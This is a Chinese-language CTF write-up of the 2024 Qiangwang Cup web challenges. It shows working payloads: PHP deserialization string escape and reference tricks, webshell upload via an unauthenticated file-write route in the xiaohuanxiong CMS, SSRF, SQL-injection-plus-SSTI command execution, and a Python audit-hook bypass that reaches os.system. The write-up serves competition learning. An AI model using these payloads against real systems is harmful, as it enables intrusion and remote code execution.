2024 强网杯 web

最近有点忙 比赛题目好多都没复现 欸

最后做题情况如下

1056db3961bd76f8b8b3bd367fc11041_720

php

platform

给了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
session_start();
require 'user.php';
require 'class.php';

$sessionManager = new SessionManager();
$SessionRandom = new SessionRandom();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];

$_SESSION['user'] = $username;


if (!isset($_SESSION['session_key'])) {
$_SESSION['session_key'] =$SessionRandom -> generateRandomString();
}
$_SESSION['password'] = $password;
$result = $sessionManager->filterSensitiveFunctions();
header('Location: dashboard.php');
exit();
} else {
require 'login.php';
}

这个登录点在登录之后设置了session session结构如下

1
2
user类|username的序列化数据|随机生成的sessionkey|密码
如 user|s:3:"123";session_key|s:41:"ScQxmMpStD6gs1w2Onq0w4zdGJqKtSsmCeIy3es4X";password|s:3:"123";

这里的filterSensitiveFunctions 方法 会把这些字符替换成空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function filterSensitiveFunctions() {
$sessionFile = $this->getSessionFilePath();

if (file_exists($sessionFile)) {
$sessionData = file_get_contents($sessionFile);

foreach ($this->sensitiveFunctions as $function) {
if (strpos($sessionData, $function) !== false) {
$sessionData = str_replace($function, '', $sessionData);
echo($sessionData);
}
}
file_put_contents($sessionFile, $sessionData);

return "Sensitive functions have been filtered from the session file.";
} else {
return "Session file not found.";
}
}

我们可以利用这个进行字符串逃逸注入我们的序列化数据

危险类notouchitsclass如下

1
2
3
4
5
6
7
8
9
10
11
12
class notouchitsclass {
public $data;

public function __construct($data) {
$this->data = $data;
}

public function __destruct() {
eval($this->data);
}
}

构造得到恶意序列化数据

1
O:15:"notouchitsclass":1:{s:4:"data";s:7:"`calc`;";} 长度为53

能控制的只有password和username

由于key是随机的 不方便控制 但是password后面没有其他数据 方便我们注入

问题是 s的长度会随着我们注入的payload的长度增加 无法逃逸成功 我们这里选用数组的方式 绕过这个限制

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class User {
public $username;
public $password;


}
$payload =new User();
$payload -> username="test";
$payload-> password = array('1','1');
echo serialize($payload);

这里传递的password 传递的参数是两个 第一个传递非法字符串 被替换成空 第二个闭合前面的数组 然后完成注入

1
第一个值需要闭合后面的 也就是12个字符 这里是 ";i:1;i:1;}|   使用systemsystem即可

image-20241107121455243

这题我在windows下没有成功复现 但是比赛的时候线上环境可以( 不知道为啥

1
username=1&password[]=evalevaleval&password[]=";i:1;i:1;}|O:15:"notouchitsclass":1:{s:4:"data";s:20:"systsystemem('/readflag');";}

Password game

源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}

限制比较怪

1
2
1: 请至少包含数字和大小写字母
2: 密码中所有数字之和必须为某个数字的倍数(这个倍数很奇怪 大家不太一样的)

最开始的时候 思维拘泥在触发这个destruct方法上了 死活不到怎么搞

注意到这里

1
2
3
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}

这里调用了两个属性 如果属性不存在 就会调用到get方法 root类满足我们的要求

image-20241107223901744

这里给value赋值成了flag 我们可以使用引用的方式获取flag

输出点只有user() 类里面的$this->username 里面

image-20241107224310355

我们可以把user的username作为value的引用 然后输出flag

payload

1
2
3
4
5
6
7
$payload = new root();
$payload ->username="123";
$payload->value="2024qwb";
$payload->pass=new user();
$payload->pass->username=&$payload->value;

echo serialize($payload);

我这里使用了一个不存在的pass这个变量 搭载我们的payload 这样保证触发最后的destruct在赋值之后 方便我们输出flag

image-20241107224501145

绕过就是老生常谈 16进制绕过一下就行了 不多说

还看到baozongwi师傅的 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class root{
public $username;
public $value;
}
class user{
public $username;
public $password;
public $value;
}
$a=new root();
$a->username=new user();
$a->username->username="2024qwb";
$a->value=&$a->username->username;
$b=serialize($a);
$c=str_replace('s:7:"2024qwb"','S:7:"2024\\71wb"',$b);
echo $c;

通过username直接传递payload 由于后面还是调用了他指向的内存 使得引用一直不为0 从而成功在赋值后销毁获取flag

xiaohuanxiong

一个小浣熊的cve 源码网址在这里https://github.com/forkable/xiaohuanxiong

网上很多魔改的源码 我甚至下了个xiaohuanxiong的小说审计了一会 够八

文档里面给了 一个基于thinkphp搭建的服务

解题

admin/payment/index 接口未授权 存在任意写文件

image-20241111140429340

直接写一句话木马即可

image-20241111140553638

得到flag

image-20241111140607119

审计

这个cms是基于thinkphp写的

在BaseAdmin 这个类里面定义了鉴权的方式

1
2
3
4
5
protected function checkAuth(){
if (!Session::has('xwx_admin')) {
$this->redirect('admin/login/index');
}
}

只要继承了BaseAdmin 并且调用了initialize() 方法的路由均存在鉴权

值得注意的是 如果 initialize 方法用于在子类中触发父类的初始化逻辑并调用权限检查逻辑,则该方法需要是 public

我们利用的Payment类的initialize 方法是protected 自然不存在鉴权

所以它实际上很多的路由都是没有鉴权的

比如说admin/Admins 类

image-20241111142215069

我们可以增改任意管理员

image-20241111142242507

在admin/index.php 目录下 的update方法 也存在类似的文件写

image-20241111142457887

类似未授权太多 不一一列举了

Proxy

他写了一个代理服务

image-20241111145203854

可以给proxy发送一个网址 他会代替我们访问 并且访问请求结果

他的nginx 反代设置里面 限制了flag路由必须要本地访问 我们可以借此造成ssrf获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
server {
listen 8000;

location ~ /v1 {
return 403;
}

location ~ /v2 {
proxy_pass http://localhost:8769;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}

image-20241111150138455

成功得到flag

snake

替换js 写一个无敌版的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
const canvas = document.getElementById('gameCanvas');
const ctx = canvas.getContext('2d');

let snake = [];
let food = {};
let score = 0;

function draw() {
ctx.clearRect(0, 0, canvas.width, canvas.height);

// 绘制蛇
ctx.fillStyle = '#00ff00';
snake.forEach(segment => {
ctx.fillRect(segment[0] * 20, segment[1] * 20, 20, 20);
});

// 绘制食物
ctx.fillStyle = '#ff0000';
ctx.fillRect(food.x * 20, food.y * 20, 20, 20);

// 显示分数
document.getElementById('score').innerText = `Score: ${score}`;
}

var look = false

function update() {

if (look) return;


var x = snake[0][0]
var y = snake[0][1]

console.log(x, y, currentDirection)

switch(currentDirection) {
case "LEFT":
if (x > 0) x -= 1;
break
case "RIGHT":
if (x < 20) x += 1;
break
case "UP":
if (y > 0) y -= 1;
break
case "DOWN":
if (y < 20) y += 1;
break
}

if (x == -1 && currentDirection == "LEFT") return;
if (x == 20 && currentDirection == "RIGHT") return;

if (y == -1 && currentDirection == "UP") return;
if (y == 20 && currentDirection == "DOWN") return;

for (var i = 0; i < snake.length; i++) {
if (x == snake[i][0] && y == snake[i][1]) return
}

console.log(x, y, currentDirection)

look = true;

fetch('/move', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ direction: currentDirection })
})
.then(response => response.json())
.then(data => {
if (data.status === 'game_over') {
alert(`Game Over! Your score: ${data.score}`);
reset_game();
}else if (data.status === 'win') {
window.location.href = `${data.url}`;
}else {
snake = data.snake;
food = { x: data.food[0], y: data.food[1] };
score = data.score;
draw();
look = false;
}
});
}

let currentDirection = 'RIGHT';

document.addEventListener('keydown', event => {
switch (event.key) {
case 'ArrowUp':
currentDirection = 'UP';
break;
case 'ArrowDown':
currentDirection = 'DOWN';
break;
case 'ArrowLeft':
currentDirection = 'LEFT';
break;
case 'ArrowRight':
currentDirection = 'RIGHT';
break;
}
});

function reset_game() {
fetch('/move', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ direction: 'RIGHT' })
})
.then(response => response.json())
.then(data => {
snake = data.snake;
food = { x: data.food[0], y: data.food[1] };
score = data.score;
draw();
setInterval(update, 250);
});
}

// 初始化游戏
reset_game();

成功进入

image-20241111151738715

存在ssti注入和sql注入的回显 直接注入即可

82b90cc8e738277b3ed6c9c803e1fe5f

1
/snake_win?username=1' union select 1,2,"{{lipsum.__globals__.__builtins__.eval('__import__(\'os\').popen(\'cat	/f*\').read()')}}"-- -

PyBlockly

一个图形化编程的网站

主要处理json的逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route('/blockly_json', methods=['POST'])
def blockly_json():
blockly_data = request.get_data()
print(type(blockly_data))
blockly_data = json.loads(blockly_data.decode('utf-8'))
print(blockly_data)
try:
python_code = json_to_python(blockly_data)
return do(python_code)
except Exception as e:
return jsonify({"error": "Error generating Python code", "details": str(e)})

if __name__ == '__main__':
app.run(host = '0.0.0.0')

在block_to_python 里面 这里当类型是text的时候

image-20241111154948446

会进行一次unicode解码处理 这里就可以使用unicode去绕过这个blacklist_pattern

相当于 我们可以执行任意代码

但是这里存在一个hook函数

1
2
3
4
5
6
7
8
9
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

这里设置了全局的hook len(event_name)意味着我们不能import任何类 只能调用python内置的函数

len函数重写

我们可以使用builtins

1
2
def aa(a):return  1
__builtins__.__dict__['len']=aa

覆盖len方法 绕过长度的限制 然后rce即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
print("hook!")
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)


def aa(a):return 1
__builtins__.__dict__['len']=aa.__dict__['len']=aa

__import__('os').system('calc')

image-20241111160659169

这题的dd存在s位 读取flag即可

1
dd if=∕flag

赛后交流的时候发现这题还有其他的做法

.pth 覆盖

.pth 文件可以用来扩展 Python 的模块搜索路径。这种 .pth 文件通常放置在 Python 的 site-packages 目录中,用来添加自定义的路径到 Python 的模块搜索路径中。

.pth 文件中的内容不仅限于路径,实际上可以包含特定的 Python 代码。

我们可以将site-packages 写入.pth文件 然后执行任意代码

这题可以把执行结果写入到 /tmp目录下 再读取